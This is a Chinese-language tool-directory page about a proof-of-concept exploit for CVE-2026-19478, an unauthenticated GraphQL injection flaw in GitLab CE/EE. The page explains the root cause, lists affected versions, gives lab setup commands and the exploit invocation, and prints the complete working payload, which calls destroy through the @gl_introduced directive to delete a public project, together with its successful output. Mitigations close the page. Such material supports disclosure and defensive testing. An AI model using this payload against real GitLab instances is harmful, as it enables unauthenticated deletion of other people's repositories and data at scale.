Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-19478 — CVE-2026-19478 的概念验证漏洞利用程序,针对 GitLab CE/EE 中未经身份验证的 GraphQL 注入漏洞,允许任意方法调用和项目删除。 | Kitploit
工具/GitHubGitHub/eqstlab/cve-2026-19478
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试红队
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

CVE-2026-19478 的概念验证漏洞利用程序,针对 GitLab CE/EE 中未经身份验证的 GraphQL 注入漏洞,允许任意方法调用和项目删除。

查看仓库
17小时2分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-19478 GitLab GraphQL 未认证项目删除

★ CVE-2026-19478 GitLab GraphQL @gl_introduced 未认证任意方法调用 PoC ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


概述

CVE-2026-19478 是 GitLab CE/EE 中的一个未认证数据篡改/删除漏洞(CVSS 9.4)。 GitLab 附带一个 GraphQL 客户端指令 @gl_introduced(version: "X.Y.Z"),用于滚动部署的前向兼容。当查询中命名字段版本高于运行中的服务器时,追踪器会在静态校验之前将其剥离,从而使查询通过校验;在执行阶段,未知字段由一个没有解析器(resolver)的回退字段解析。 在 graphql-ruby 中,没有解析器的字段通过调用 object.public_send(field_name) 来解析——因此客户端可以命名字段等于当前解析对象上的任意零参数方法,服务器便会调用它。 解析一个公共项目并请求一个名为 destroy 的“未来字段”,即可运行 Project#destroy——在无账号、无令牌、无用户交互的情况下删除公共项目(或修改用户数据)。


受影响版本

类别版本
受影响GitLab CE/EE 18.2 – 18.11.10、19.0.0 – 19.0.7、19.1.0 – 19.1.5、19.2.0 – 19.2.3
已修复18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 或更高版本

影响

  • 未认证修改/删除公共项目和用户数据
  • 对暴露在互联网上的实例,可大规模、脚本化地摧毁所有公共仓库
  • 修复方案将未来字段回退路由到 Resolvers::NilResolver(返回 nil,绝不调用任何方法)

环境

构建并运行存在漏洞的 GitLab。它会自动预置一个公共仓库 victim/demo,你可以未认证地将其删除。GitLab 大约需要 3–5 分钟完成重新配置和预置。

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
前置条件本实验环境中的状态
GitLab 18.2 – 19.2.319.2.2
可匿名访问的公共项目victim/demo(已预置)
可访问的未认证 GraphQL 端点/api/graphql 已暴露

PoC

漏洞利用脚本 gitlab_exploit.py 可在无任何凭据的情况下删除你指定的任意公共仓库。它发送 @gl_introduced 载荷,将 GraphQL 字段名 destroy 转化为 Project#destroy 调用,然后通过 REST API(404)确认删除成功。

root@kitploit:~
# python3 gitlab_exploit.py <目标 ip:端口> --repo <组/名称>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] 目标 ......... http://172.17.0.2:3000
[*] 删除前 (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200  (存在)
[*] 载荷 (未认证) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] 响应 ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] 等待异步删除完成 ...
[+] 删除后 (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] 成功 - 未认证请求已删除 'victim/demo'。CVE-2026-19478 已验证。

选项:

  • --detect — 安全、非破坏性检查(调用无害的 to_param 方法而非 destroy)
  • --repo group/name — 指定实例上的任意公共项目为目标
  • --insecure — 对 https:// 目标跳过 TLS 验证

缓解措施

  • 将 GitLab 升级到 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 或更高版本
  • 如果无法立即升级,请在反向代理处阻止 @gl_introduced 指令/版本过滤路径,或限制对 /api/graphql 的未认证访问
  • 减少暴露面:将 GitLab 置于公共互联网之外(VPN/认证代理),并尽量减少公共项目

分析

  • KR:
  • EN:
下载工具